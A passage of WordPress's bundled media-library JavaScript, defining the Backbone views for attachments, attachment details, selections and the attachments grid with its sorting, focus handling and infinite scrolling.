3266
3267 size = size || 'medium';
3268
3269 // Use the provided image size if possible.
3270 if ( sizes ) {
3271 if ( sizes[ size ] ) {
3272 matched = sizes[ size ];
3273 } else if ( sizes.large ) {
3274 matched = sizes.large;
3275 } else if ( sizes.thumbnail ) {
3276 matched = sizes.thumbnail;
3277 } else if ( sizes.full ) {
3278 matched = sizes.full;
3279 }
3280
3281 if ( matched ) {
3282 return _.clone( matched );
3283 }
3284 }
3285
3286 return {
3287 url: this.model.get('url'),
3288 width: this.model.get('width'),
3289 height: this.model.get('height'),
3290 orientation: this.model.get('orientation')
3291 };
3292 },
3293 /**
3294 * @param {Object} event
3295 */
3296 updateSetting: function( event ) {
3297 var $setting = $( event.target ).closest('[data-setting]'),
3298 setting, value;
3299
3300 if ( ! $setting.length ) {
3301 return;
3302 }
3303
3304 setting = $setting.data('setting');
3305 value = event.target.value;
3306
3307 if ( this.model.get( setting ) !== value ) {
3308 this.save( setting, value );
3309 }
3310 },
3311
3312 /**
3313 * Pass all the arguments to the model's save method.
3314 *
3315 * Records the aggregate status of all save requests and updates the
3316 * view's classes accordingly.
3317 */
3318 save: function() {
3319 var view = this,
3320 save = this._save = this._save || { status: 'ready' },
3321 request = this.model.save.apply( this.model, arguments ),
3322 requests = save.requests ? $.when( request, save.requests ) : request;
3323
3324 // If we're waiting to remove 'Saved.', stop.
3325 if ( save.savedTimer ) {
3326 clearTimeout( save.savedTimer );
3327 }
3328
3329 this.updateSave('waiting');
3330 save.requests = requests;
3331 requests.always( function() {
3332 // If we've performed another request since this one, bail.
3333 if ( save.requests !== requests ) {
3334 return;
3335 }
3336
3337 view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' );
3338 save.savedTimer = setTimeout( function() {
3339 view.updateSave('ready');
3340 delete save.savedTimer;
3341 }, 2000 );
3342 });
3343 },
3344 /**
3345 * @param {string} status
3346 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
3347 */
3348 updateSave: function( status ) {
3349 var save = this._save = this._save || { status: 'ready' };
3350
3351 if ( status && status !== save.status ) {
3352 this.$el.removeClass( 'save-' + save.status );
3353 save.status = status;
3354 }
3355
3356 this.$el.addClass( 'save-' + save.status );
3357 return this;
3358 },
3359
3360 updateAll: function() {
3361 var $settings = this.$('[data-setting]'),
3362 model = this.model,
3363 changed;
3364
3365 changed = _.chain( $settings ).map( function( el ) {
3366 var $input = $('input, textarea, select, [value]', el ),
3367 setting, value;
3368
3369 if ( ! $input.length ) {
3370 return;
3371 }
3372
3373 setting = $(el).data('setting');
3374 value = $input.val();
3375
3376 // Record the value if it changed.
3377 if ( model.get( setting ) !== value ) {
3378 return [ setting, value ];
3379 }
3380 }).compact().object().value();
3381
3382 if ( ! _.isEmpty( changed ) ) {
3383 model.save( changed );
3384 }
3385 },
3386 /**
3387 * @param {Object} event
3388 */
3389 removeFromLibrary: function( event ) {
3390 // Catch enter and space events.
3391 if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
3392 return;
3393 }
3394
3395 // Stop propagation so the model isn't selected.
3396 event.stopPropagation();
3397
3398 this.collection.remove( this.model );
3399 },
3400
3401 /**
3402 * Add the model if it isn't in the selection, if it is in the selection,
3403 * remove it.
3404 *
3405 * @param {[type]} event [description]
3406 * @return {[type]} [description]
3407 */
3408 checkClickHandler: function ( event ) {
3409 var selection = this.options.selection;
3410 if ( ! selection ) {
3411 return;
3412 }
3413 event.stopPropagation();
3414 if ( selection.where( { id: this.model.get( 'id' ) } ).length ) {
3415 selection.remove( this.model );
3416 // Move focus back to the attachment tile (from the check).
3417 this.$el.focus();
3418 } else {
3419 selection.add( this.model );
3420 }
3421
3422 // Trigger an action button update.
3423 this.controller.trigger( 'selection:toggle' );
3424 }
3425});
3426
3427// Ensure settings remain in sync between attachment views.
3428_.each({
3429 caption: '_syncCaption',
3430 title: '_syncTitle',
3431 artist: '_syncArtist',
3432 album: '_syncAlbum'
3433}, function( method, setting ) {
3434 /**
3435 * @function _syncCaption
3436 * @memberOf wp.media.view.Attachment
3437 * @instance
3438 *
3439 * @param {Backbone.Model} model
3440 * @param {string} value
3441 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
3442 */
3443 /**
3444 * @function _syncTitle
3445 * @memberOf wp.media.view.Attachment
3446 * @instance
3447 *
3448 * @param {Backbone.Model} model
3449 * @param {string} value
3450 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
3451 */
3452 /**
3453 * @function _syncArtist
3454 * @memberOf wp.media.view.Attachment
3455 * @instance
3456 *
3457 * @param {Backbone.Model} model
3458 * @param {string} value
3459 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
3460 */
3461 /**
3462 * @function _syncAlbum
3463 * @memberOf wp.media.view.Attachment
3464 * @instance
3465 *
3466 * @param {Backbone.Model} model
3467 * @param {string} value
3468 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
3469 */
3470 Attachment.prototype[ method ] = function( model, value ) {
3471 var $setting = this.$('[data-setting="' + setting + '"]');
3472
3473 if ( ! $setting.length ) {
3474 return this;
3475 }
3476
3477 /*
3478 * If the updated value is in sync with the value in the DOM, there
3479 * is no need to re-render. If we're currently editing the value,
3480 * it will automatically be in sync, suppressing the re-render for
3481 * the view we're editing, while updating any others.
3482 */
3483 if ( value === $setting.find('input, textarea, select, [value]').val() ) {
3484 return this;
3485 }
3486
3487 return this.render();
3488 };
3489});
3490
3491module.exports = Attachment;
3492
3493
3494/***/ },
3495
3496/***/ 6090
3497(module) {
3498
3499/* global ClipboardJS */
3500var Attachment = wp.media.view.Attachment,
3501 l10n = wp.media.view.l10n,
3502 $ = jQuery,
3503 Details,
3504 __ = wp.i18n.__;
3505
3506Details = Attachment.extend(/** @lends wp.media.view.Attachment.Details.prototype */{
3507 tagName: 'div',
3508 className: 'attachment-details',
3509 template: wp.template('attachment-details'),
3510
3511 /*
3512 * Reset all the attributes inherited from Attachment including role=checkbox,
3513 * tabindex, etc., as they are inappropriate for this view. See #47458 and [30483] / #30390.
3514 */
3515 attributes: {},
3516
3517 events: {
3518 'change [data-setting]': 'updateSetting',
3519 'change [data-setting] input': 'updateSetting',
3520 'change [data-setting] select': 'updateSetting',
3521 'change [data-setting] textarea': 'updateSetting',
3522 'click .delete-attachment': 'deleteAttachment',
3523 'click .trash-attachment': 'trashAttachment',
3524 'click .untrash-attachment': 'untrashAttachment',
3525 'click .edit-attachment': 'editAttachment',
3526 'keydown': 'toggleSelectionHandler'
3527 },
3528
3529 /**
3530 * Copies the attachment URL to the clipboard.
3531 *
3532 * @since 5.5.0
3533 *
3534 * @param {MouseEvent} event A click event.
3535 *
3536 * @return {void}
3537 */
3538 copyAttachmentDetailsURLClipboard: function() {
3539 var clipboard = new ClipboardJS( '.copy-attachment-url' ),
3540 successTimeout;
3541
3542 clipboard.on( 'success', function( event ) {
3543 var triggerElement = $( event.trigger ),
3544 successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );
3545
3546 // Clear the selection and move focus back to the trigger.
3547 event.clearSelection();
3548
3549 // Show success visual feedback.
3550 clearTimeout( successTimeout );
3551 successElement.removeClass( 'hidden' );
3552
3553 // Hide success visual feedback after 3 seconds since last success.
3554 successTimeout = setTimeout( function() {
3555 successElement.addClass( 'hidden' );
3556 }, 3000 );
3557
3558 // Handle success audible feedback.
3559 wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
3560 } );
3561 },
3562
3563 /**
3564 * Shows the details of an attachment.
3565 *
3566 * @since 3.5.0
3567 *
3568 * @constructs wp.media.view.Attachment.Details
3569 * @augments wp.media.view.Attachment
3570 *
3571 * @return {void}
3572 */
3573 initialize: function() {
3574 this.options = _.defaults( this.options, {
3575 rerenderOnModelChange: false
3576 });
3577
3578 // Call 'initialize' directly on the parent class.
3579 Attachment.prototype.initialize.apply( this, arguments );
3580
3581 this.copyAttachmentDetailsURLClipboard();
3582 },
3583
3584 /**
3585 * Gets the focusable elements to move focus to.
3586 *
3587 * @since 5.3.0
3588 */
3589 getFocusableElements: function() {
3590 var editedAttachment = $( 'li[data-id="' + this.model.id + '"]' );
3591
3592 this.previousAttachment = editedAttachment.prev();
3593 this.nextAttachment = editedAttachment.next();
3594 },
3595
3596 /**
3597 * Moves focus to the previous or next attachment in the grid.
3598 * Fallbacks to the upload button or media frame when there are no attachments.
3599 *
3600 * @since 5.3.0
3601 */
3602 moveFocus: function() {
3603 if ( this.previousAttachment.length ) {
3604 this.previousAttachment.trigger( 'focus' );
3605 return;
3606 }
3607
3608 if ( this.nextAttachment.length ) {
3609 this.nextAttachment.trigger( 'focus' );
3610 return;
3611 }
3612
3613 // Fallback: move focus to the "Select Files" button in the media modal.
3614 if ( this.controller.uploader && this.controller.uploader.$browser ) {
3615 this.controller.uploader.$browser.trigger( 'focus' );
3616 return;
3617 }
3618
3619 // Last fallback.
3620 this.moveFocusToLastFallback();
3621 },
3622
3623 /**
3624 * Moves focus to the media frame as last fallback.
3625 *
3626 * @since 5.3.0
3627 */
3628 moveFocusToLastFallback: function() {
3629 // Last fallback: make the frame focusable and move focus to it.
3630 $( '.media-frame' )
3631 .attr( 'tabindex', '-1' )
3632 .trigger( 'focus' );
3633 },
3634
3635 /**
3636 * Deletes an attachment.
3637 *
3638 * Deletes an attachment after asking for confirmation. After deletion,
3639 * keeps focus in the modal.
3640 *
3641 * @since 3.5.0
3642 *
3643 * @param {MouseEvent} event A click event.
3644 *
3645 * @return {void}
3646 */
3647 deleteAttachment: function( event ) {
3648 event.preventDefault();
3649
3650 this.getFocusableElements();
3651
3652 if ( window.confirm( l10n.warnDelete ) ) {
3653 this.model.destroy( {
3654 wait: true,
3655 error: function() {
3656 window.alert( l10n.errorDeleting );
3657 }
3658 } );
3659
3660 this.moveFocus();
3661 }
3662 },
3663
3664 /**
3665 * Sets the Trash state on an attachment, or destroys the model itself.
3666 *
3667 * If the mediaTrash setting is set to true, trashes the attachment.
3668 * Otherwise, the model itself is destroyed.
3669 *
3670 * @since 3.9.0
3671 *
3672 * @param {MouseEvent} event A click event.
3673 *
3674 * @return {void}
3675 */
3676 trashAttachment: function( event ) {
3677 var library = this.controller.library,
3678 self = this;
3679 event.preventDefault();
3680
3681 this.getFocusableElements();
3682
3683 // When in the Media Library and the Media Trash is enabled.
3684 if ( wp.media.view.settings.mediaTrash &&
3685 'edit-metadata' === this.controller.content.mode() ) {
3686
3687 this.model.set( 'status', 'trash' );
3688 this.model.save().done( function() {
3689 library._requery( true );
3690 /*
3691 * @todo We need to move focus back to the previous, next, or first
3692 * attachment but the library gets re-queried and refreshed.
3693 * Thus, the references to the previous attachments are lost.
3694 * We need an alternate method.
3695 */
3696 self.moveFocusToLastFallback();
3697 } );
3698 } else {
3699 this.model.destroy();
3700 this.moveFocus();
3701 }
3702 },
3703
3704 /**
3705 * Untrashes an attachment.
3706 *
3707 * @since 4.0.0
3708 *
3709 * @param {MouseEvent} event A click event.
3710 *
3711 * @return {void}
3712 */
3713 untrashAttachment: function( event ) {
3714 var library = this.controller.library;
3715 event.preventDefault();
3716
3717 this.model.set( 'status', 'inherit' );
3718 this.model.save().done( function() {
3719 library._requery( true );
3720 } );
3721 },
3722
3723 /**
3724 * Opens the edit page for a specific attachment.
3725 *
3726 * @since 3.5.0
3727 *
3728 * @param {MouseEvent} event A click event.
3729 *
3730 * @return {void}
3731 */
3732 editAttachment: function( event ) {
3733 var editState = this.controller.states.get( 'edit-image' );
3734 if ( window.imageEdit && editState ) {
3735 event.preventDefault();
3736
3737 editState.set( 'image', this.model );
3738 this.controller.setState( 'edit-image' );
3739 } else {
3740 this.$el.addClass('needs-refresh');
3741 }
3742 },
3743
3744 /**
3745 * Triggers an event on the controller when reverse tabbing (shift+tab).
3746 *
3747 * This event can be used to make sure to move the focus correctly.
3748 *
3749 * @since 4.0.0
3750 *
3751 * @fires wp.media.controller.MediaLibrary#attachment:details:shift-tab
3752 * @fires wp.media.controller.MediaLibrary#attachment:keydown:arrow
3753 *
3754 * @param {KeyboardEvent} event A keyboard event.
3755 *
3756 * @return {boolean|void} Returns false or undefined.
3757 */
3758 toggleSelectionHandler: function( event ) {
3759 if ( 'keydown' === event.type && 9 === event.keyCode && event.shiftKey && event.target === this.$( ':tabbable' ).get( 0 ) ) {
3760 this.controller.trigger( 'attachment:details:shift-tab', event );
3761 return false;
3762 }
3763 },
3764
3765 render: function() {
3766 Attachment.prototype.render.apply( this, arguments );
3767
3768 wp.media.mixin.removeAllPlayers();
3769 this.$( 'audio, video' ).each( function (i, elem) {
3770 var el = wp.media.view.MediaDetails.prepareSrc( elem );
3771 new window.MediaElementPlayer( el, wp.media.mixin.mejsSettings );
3772 } );
3773 }
3774});
3775
3776module.exports = Details;
3777
3778
3779/***/ },
3780
3781/***/ 5232
3782(module) {
3783
3784/**
3785 * wp.media.view.Attachment.EditLibrary
3786 *
3787 * @memberOf wp.media.view.Attachment
3788 *
3789 * @class
3790 * @augments wp.media.view.Attachment
3791 * @augments wp.media.View
3792 * @augments wp.Backbone.View
3793 * @augments Backbone.View
3794 */
3795var EditLibrary = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.EditLibrary.prototype */{
3796 buttons: {
3797 close: true
3798 }
3799});
3800
3801module.exports = EditLibrary;
3802
3803
3804/***/ },
3805
3806/***/ 4593
3807(module) {
3808
3809/**
3810 * wp.media.view.Attachment.EditSelection
3811 *
3812 * @memberOf wp.media.view.Attachment
3813 *
3814 * @class
3815 * @augments wp.media.view.Attachment.Selection
3816 * @augments wp.media.view.Attachment
3817 * @augments wp.media.View
3818 * @augments wp.Backbone.View
3819 * @augments Backbone.View
3820 */
3821var EditSelection = wp.media.view.Attachment.Selection.extend(/** @lends wp.media.view.Attachment.EditSelection.prototype */{
3822 buttons: {
3823 close: true
3824 }
3825});
3826
3827module.exports = EditSelection;
3828
3829
3830/***/ },
3831
3832/***/ 3443
3833(module) {
3834
3835/**
3836 * wp.media.view.Attachment.Library
3837 *
3838 * @memberOf wp.media.view.Attachment
3839 *
3840 * @class
3841 * @augments wp.media.view.Attachment
3842 * @augments wp.media.View
3843 * @augments wp.Backbone.View
3844 * @augments Backbone.View
3845 */
3846var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{
3847 buttons: {
3848 check: true
3849 }
3850});
3851
3852module.exports = Library;
3853
3854
3855/***/ },
3856
3857/***/ 3962
3858(module) {
3859
3860/**
3861 * wp.media.view.Attachment.Selection
3862 *
3863 * @memberOf wp.media.view.Attachment
3864 *
3865 * @class
3866 * @augments wp.media.view.Attachment
3867 * @augments wp.media.View
3868 * @augments wp.Backbone.View
3869 * @augments Backbone.View
3870 */
3871var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{
3872 className: 'attachment selection',
3873
3874 // On click, just select the model, instead of removing the model from
3875 // the selection.
3876 toggleSelection: function() {
3877 this.options.selection.single( this.model );
3878 }
3879});
3880
3881module.exports = Selection;
3882
3883
3884/***/ },
3885
3886/***/ 8142
3887(module) {
3888
3889var View = wp.media.View,
3890 $ = jQuery,
3891 Attachments,
3892 infiniteScrolling = wp.media.view.settings.infiniteScrolling;
3893
3894Attachments = View.extend(/** @lends wp.media.view.Attachments.prototype */{
3895 tagName: 'ul',
3896 className: 'attachments',
3897
3898 attributes: {
3899 tabIndex: -1
3900 },
3901
3902 /**
3903 * Represents the overview of attachments in the Media Library.
3904 *
3905 * The constructor binds events to the collection this view represents when
3906 * adding or removing attachments or resetting the entire collection.
3907 *
3908 * @since 3.5.0
3909 *
3910 * @constructs
3911 * @memberof wp.media.view
3912 *
3913 * @augments wp.media.View
3914 *
3915 * @listens collection:add
3916 * @listens collection:remove
3917 * @listens collection:reset
3918 * @listens controller:library:selection:add
3919 * @listens scrollElement:scroll
3920 * @listens this:ready
3921 * @listens controller:open
3922 */
3923 initialize: function() {
3924 this.el.id = _.uniqueId('__attachments-view-');
3925
3926 /**
3927 * @since 5.8.0 Added the `infiniteScrolling` parameter.
3928 *
3929 * @param infiniteScrolling Whether to enable infinite scrolling or use
3930 * the default "load more" button.
3931 * @param refreshSensitivity The time in milliseconds to throttle the scroll
3932 * handler.
3933 * @param refreshThreshold The amount of pixels that should be scrolled before
3934 * loading more attachments from the server.
3935 * @param AttachmentView The view class to be used for models in the
3936 * collection.
3937 * @param sortable A jQuery sortable options object
3938 * ( http://api.jqueryui.com/sortable/ ).
3939 * @param resize A boolean indicating whether or not to listen to
3940 * resize events.
3941 * @param idealColumnWidth The width in pixels which a column should have when
3942 * calculating the total number of columns.
3943 */
3944 _.defaults( this.options, {
3945 infiniteScrolling: infiniteScrolling || false,
3946 refreshSensitivity: wp.media.isTouchDevice ? 300 : 200,
3947 refreshThreshold: 3,
3948 AttachmentView: wp.media.view.Attachment,
3949 sortable: false,
3950 resize: true,
3951 idealColumnWidth: $( window ).width() < 640 ? 135 : 150
3952 });
3953
3954 this._viewsByCid = {};
3955 this.$window = $( window );
3956 this.resizeEvent = 'resize.media-modal-columns';
3957
3958 this.collection.on( 'add', function( attachment ) {
3959 this.views.add( this.createAttachmentView( attachment ), {
3960 at: this.collection.indexOf( attachment )
3961 });
3962 }, this );
3963
3964 /*
3965 * Find the view to be removed, delete it and call the remove function to clear
3966 * any set event handlers.
3967 */
3968 this.collection.on( 'remove', function( attachment ) {
3969 var view = this._viewsByCid[ attachment.cid ];
3970 delete this._viewsByCid[ attachment.cid ];
3971
3972 if ( view ) {
3973 view.remove();
3974 }
3975 }, this );
3976
3977 this.collection.on( 'reset', this.render, this );
3978
3979 this.controller.on( 'library:selection:add', this.attachmentFocus, this );
3980
3981 if ( this.options.infiniteScrolling ) {
3982 // Throttle the scroll handler and bind this.
3983 this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value();
3984
3985 this.options.scrollElement = this.options.scrollElement || this.el;
3986 $( this.options.scrollElement ).on( 'scroll', this.scroll );
3987 }
3988
3989 this.initSortable();
3990
3991 _.bindAll( this, 'setColumns' );
3992
3993 if ( this.options.resize ) {
3994 this.on( 'ready', this.bindEvents );
3995 this.controller.on( 'open', this.setColumns );
3996
3997 /*
3998 * Call this.setColumns() after this view has been rendered in the
3999 * DOM so attachments get proper width applied.
4000 */
4001 _.defer( this.setColumns, this );
4002 }
4003 },
4004
4005 /**
4006 * Listens to the resizeEvent on the window.
4007 *
4008 * Adjusts the amount of columns accordingly. First removes any existing event
4009 * handlers to prevent duplicate listeners.
4010 *
4011 * @since 4.0.0
4012 *
4013 * @listens window:resize
4014 *
4015 * @return {void}
4016 */
4017 bindEvents: function() {
4018 this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) );
4019 },
4020
4021 /**
4022 * Focuses the first item in the collection.
4023 *
4024 * @since 4.0.0
4025 *
4026 * @return {void}
4027 */
4028 attachmentFocus: function() {
4029 /*
4030 * @todo When uploading new attachments, this tries to move focus to
4031 * the attachments grid. Actually, a progress bar gets initially displayed
4032 * and then updated when uploading completes, so focus is lost.
4033 * Additionally: this view is used for both the attachments list and
4034 * the list of selected attachments in the bottom media toolbar. Thus, when
4035 * uploading attachments, it is called twice and returns two different `this`.
4036 * `this.columns` is truthy within the modal.
4037 */
4038 if ( this.columns ) {
4039 // Move focus to the grid list within the modal.
4040 this.$el.focus();
4041 }
4042 },
4043
4044 /**
4045 * Restores focus to the selected item in the collection.
4046 *
4047 * Moves focus back to the first selected attachment in the grid. Used when
4048 * tabbing backwards from the attachment details sidebar.
4049 * See media.view.AttachmentsBrowser.
4050 *
4051 * @since 4.0.0
4052 *
4053 * @return {void}
4054 */
4055 restoreFocus: function() {
4056 this.$( 'li.selected:first' ).focus();
4057 },
4058
4059 /**
4060 * Handles events for arrow key presses.
4061 *
4062 * Focuses the attachment in the direction of the used arrow key if it exists.
4063 *
4064 * @since 4.0.0
4065 *
4066 * @param {KeyboardEvent} event The keyboard event that triggered this function.
4067 *
4068 * @return {void}
4069 */
4070 arrowEvent: function( event ) {
4071 var attachments = this.$el.children( 'li' ),
4072 perRow = this.columns,
4073 index = attachments.filter( ':focus' ).index(),
4074 row = ( index + 1 ) <= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow );
4075
4076 if ( index === -1 ) {
4077 return;
4078 }
4079
4080 // Left arrow = 37.
4081 if ( 37 === event.keyCode ) {
4082 if ( 0 === index ) {
4083 return;
4084 }
4085 attachments.eq( index - 1 ).focus();
4086 }
4087
4088 // Up arrow = 38.
4089 if ( 38 === event.keyCode ) {
4090 if ( 1 === row ) {
4091 return;
4092 }
4093 attachments.eq( index - perRow ).focus();
4094 }
4095
4096 // Right arrow = 39.
4097 if ( 39 === event.keyCode ) {
4098 if ( attachments.length === index ) {
4099 return;
4100 }
4101 attachments.eq( index + 1 ).focus();
4102 }
4103
4104 // Down arrow = 40.
4105 if ( 40 === event.keyCode ) {
4106 if ( Math.ceil( attachments.length / perRow ) === row ) {
4107 return;
4108 }
4109 attachments.eq( index + perRow ).focus();
4110 }
4111 },
4112
4113 /**
4114 * Clears any set event handlers.
4115 *
4116 * @since 3.5.0
4117 *
4118 * @return {void}
4119 */
4120 dispose: function() {
4121 this.collection.props.off( null, null, this );
4122 if ( this.options.resize ) {
4123 this.$window.off( this.resizeEvent );
4124 }
4125
4126 // Call 'dispose' directly on the parent class.
4127 View.prototype.dispose.apply( this, arguments );
4128 },
4129
4130 /**
4131 * Calculates the amount of columns.
4132 *
4133 * Calculates the amount of columns and sets it on the data-columns attribute
4134 * of .media-frame-content.
4135 *
4136 * @since 4.0.0
4137 *
4138 * @return {void}
4139 */
4140 setColumns: function() {
4141 var prev = this.columns,
4142 width = this.$el.width();
4143
4144 if ( width ) {
4145 this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1;
4146
4147 if ( ! prev || prev !== this.columns ) {
4148 this.$el.closest( '.media-frame-content' ).attr( 'data-columns', this.columns );
4149 }
4150 }
4151 },
4152
4153 /**
4154 * Initializes jQuery sortable on the attachment list.
4155 *
4156 * Fails gracefully if jQuery sortable doesn't exist or isn't passed
4157 * in the options.
4158 *
4159 * @since 3.5.0
4160 *
4161 * @fires collection:reset
4162 *
4163 * @return {void}
4164 */
4165 initSortable: function() {
4166 var collection = this.collection;
4167
4168 if ( ! this.options.sortable || ! $.fn.sortable ) {
4169 return;
4170 }
4171
4172 this.$el.sortable( _.extend({
4173 // If the `collection` has a `comparator`, disable sorting.
4174 disabled: !! collection.comparator,
4175
4176 /*
4177 * Change the position of the attachment as soon as the mouse pointer
4178 * overlaps a thumbnail.
4179 */
4180 tolerance: 'pointer',
4181
4182 // Record the initial `index` of the dragged model.
4183 start: function( event, ui ) {
4184 ui.item.data('sortableIndexStart', ui.item.index());
4185 },
4186
4187 /*
4188 * Update the model's index in the collection. Do so silently, as the view
4189 * is already accurate.
4190 */
4191 update: function( event, ui ) {
4192 var model = collection.at( ui.item.data('sortableIndexStart') ),
4193 comparator = collection.comparator;
4194
4195 // Temporarily disable the comparator to prevent `add`
4196 // from re-sorting.
4197 delete collection.comparator;
4198
4199 // Silently shift the model to its new index.
4200 collection.remove( model, {
4201 silent: true
4202 });
4203 collection.add( model, {
4204 silent: true,
4205 at: ui.item.index()
4206 });
4207
4208 // Restore the comparator.
4209 collection.comparator = comparator;
4210
4211 // Fire the `reset` event to ensure other collections sync.
4212 collection.trigger( 'reset', collection );
4213
4214 // If the collection is sorted by menu order, update the menu order.
4215 collection.saveMenuOrder();
4216 }
4217 }, this.options.sortable ) );
4218
4219 /*
4220 * If the `orderby` property is changed on the `collection`,
4221 * check to see if we have a `comparator`. If so, disable sorting.
4222 */
4223 collection.props.on( 'change:orderby', function() {
4224 this.$el.sortable( 'option', 'disabled', !! collection.comparator );
4225 }, this );
4226
4227 this.collection.props.on( 'change:orderby', this.refreshSortable, this );
4228 this.refreshSortable();
4229 },
4230
4231 /**
4232 * Disables jQuery sortable if collection has a comparator or collection.orderby
4233 * equals menuOrder.
4234 *
4235 * @since 3.5.0
4236 *
4237 * @return {void}
4238 */
4239 refreshSortable: function() {
4240 if ( ! this.options.sortable || ! $.fn.sortable ) {
4241 return;
4242 }
4243
4244 var collection = this.collection,
4245 orderby = collection.props.get('orderby'),
4246 enabled = 'menuOrder' === orderby || ! collection.comparator;
4247
4248 this.$el.sortable( 'option', 'disabled', ! enabled );
4249 },
4250
4251 /**
4252 * Creates a new view for an attachment and adds it to _viewsByCid.
4253 *
4254 * @since 3.5.0
4255 *
4256 * @param {wp.media.model.Attachment} attachment
4257 *
4258 * @return {wp.media.View} The created view.
4259 */
4260 createAttachmentView: function( attachment ) {
4261 var view = new this.options.AttachmentView({
4262 controller: this.controller,
4263 model: attachment,
4264 collection: this.collection,
4265 selection: this.options.selection
4266 });
4267
4268 return this._viewsByCid[ attachment.cid ] = view;
4269 },
4270
4271 /**
4272 * Prepares view for display.
4273 *
4274 * Creates views for every attachment in collection if the collection is not
4275 * empty, otherwise clears all views and loads more attachments.
4276 *
4277 * @since 3.5.0
4278 *
4279 * @return {void}
4280 */
4281 prepare: function() {
4282 if ( this.collection.length ) {
4283 this.views.set( this.collection.map( this.createAttachmentView, this ) );
4284 } else {
4285 this.views.unset();
4286 if ( this.options.infiniteScrolling ) {
4287 this.collection.more().done( this.scroll );
4288 }
4289 }
4290 },
4291
4292 /**
4293 * Triggers the scroll function to check if we should query for additional
4294 * attachments right away.
4295 *
4296 * @since 3.5.0
4297 *
4298 * @return {void}
4299 */
4300 ready: function() {
4301 if ( this.options.infiniteScrolling ) {
4302 this.scroll();
4303 }
4304 },
4305
4306 /**
4307 * Handles scroll events.
4308 *
4309 * Shows the spinner if we're close to the bottom. Loads more attachments from
4310 * server if we're {refreshThreshold} times away from the bottom.
4311 *
4312 * @since 3.5.0
4313 *
4314 * @return {void}
4315 */
4316 scroll: function() {
4317 var view = this,
4318 el = this.options.scrollElement,
4319 scrollTop = el.scrollTop,
4320 toolbar;
4321
4322 /*
4323 * The scroll event occurs on the document, but the element that should be
4324 * checked is the document body.
4325 */
4326 if ( el === document ) {
4327 el = document.body;
4328 scrollTop = $(document).scrollTop();
4329 }
4330
4331 if ( ! $(el).is(':visible') || ! this.collection.hasMore() ) {
4332 return;
4333 }
4334
4335 toolbar = this.views.parent.toolbar;
4336
4337 // Show the spinner only if we are close to the bottom.
4338 if ( el.scrollHeight - ( scrollTop + el.clientHeight ) < el.clientHeight / 3 ) {
4339 toolbar.get('spinner').show();
4340 }
4341
4342 if ( el.scrollHeight < scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) {
4343 this.collection.more().done(function() {
4344 view.scroll();
4345 toolbar.get('spinner').hide();
4346 });
4347 }
4348 }
4349});
4350
4351module.exports = Attachments;
4352
4353
4354/***/ },
4355
4356/***/ 6829
4357(module) {
4358
4359var View = wp.media.View,
4360 mediaTrash = wp.media.view.settings.mediaTrash,
4361 l10n = wp.media.view.l10n,
4362 $ = jQuery,
4363 AttachmentsBrowser,
4364 infiniteScrolling = wp.media.view.settings.infiniteScrolling,
4365 __ = wp.i18n.__,
4366 sprintf = wp.i18n.sprintf;
4367
4368/**
4369 * wp.media.view.AttachmentsBrowser
4370 *
4371 * @memberOf wp.media.view
4372 *
4373 * @class
4374 * @augments wp.media.View
4375 * @augments wp.Backbone.View
4376 * @augments Backbone.View
4377 *
4378 * @param {object} [options] The options hash passed to the view.
4379 * @param {boolean|string} [options.filters=false] Which filters to show in the browser's toolbar.
4380 * Accepts 'uploaded' and 'all'.
4381 * @param {boolean} [options.search=true] Whether to show the search interface in the
4382 * browser's toolbar.
4383 * @param {boolean} [options.date=true] Whether to show the date filter in the
4384 * browser's toolbar.
4385 * @param {boolean} [options.display=false] Whether to show the attachments display settings
4386 * view in the sidebar.
4387 * @param {boolean|string} [options.sidebar=true] Whether to create a sidebar for the browser.
4388 * Accepts true, false, and 'errors'.
4389 */
4390AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{
4391 tagName: 'div',
4392 className: 'attachments-browser',
4393
4394 initialize: function() {
4395 _.defaults( this.options, {
4396 filters: false,
4397 search: true,
4398 date: true,
4399 display: false,
4400 sidebar: true,
4401 AttachmentView: wp.media.view.Attachment.Library
4402 });
4403
4404 this.controller.on( 'toggle:upload:attachment', this.toggleUploader, this );
4405 this.controller.on( 'edit:selection', this.editSelection );
4406
4407 // In the Media Library, the sidebar is used to display errors before the attachments grid.
4408 if ( this.options.sidebar && 'errors' === this.options.sidebar ) {
4409 this.createSidebar();
4410 }
4411
4412 /*
4413 * In the grid mode (the Media Library), place the Inline Uploader before
4414 * other sections so that the visual order and the DOM order match. This way,
4415 * the Inline Uploader in the Media Library is right after the "Add New"
4416 * button, see ticket #37188.
4417 */
4418 if ( this.controller.isModeActive( 'grid' ) ) {
4419 this.createUploader();
4420
4421 /*
4422 * Create a multi-purpose toolbar. Used as main toolbar in the Media Library
4423 * and also for other things, for example the "Drag and drop to reorder" and
4424 * "Suggested dimensions" info in the media modal.
4425 */
4426 this.createToolbar();
4427 } else {
4428 this.createToolbar();
4429 this.createUploader();
4430 }
4431
4432 // Add a heading before the attachments list.
4433 this.createAttachmentsHeading();
4434
4435 // Create the attachments wrapper view.
4436 this.createAttachmentsWrapperView();
4437
4438 if ( ! infiniteScrolling ) {
4439 this.$el.addClass( 'has-load-more' );
4440 this.createLoadMoreView();
4441 }
4442
4443 // For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909.
4444 if ( this.options.sidebar && 'errors' !== this.options.sidebar ) {
4445 this.createSidebar();
4446 }
4447
4448 this.updateContent();
4449
4450 if ( ! infiniteScrolling ) {
4451 this.updateLoadMoreView();
4452 }
4453
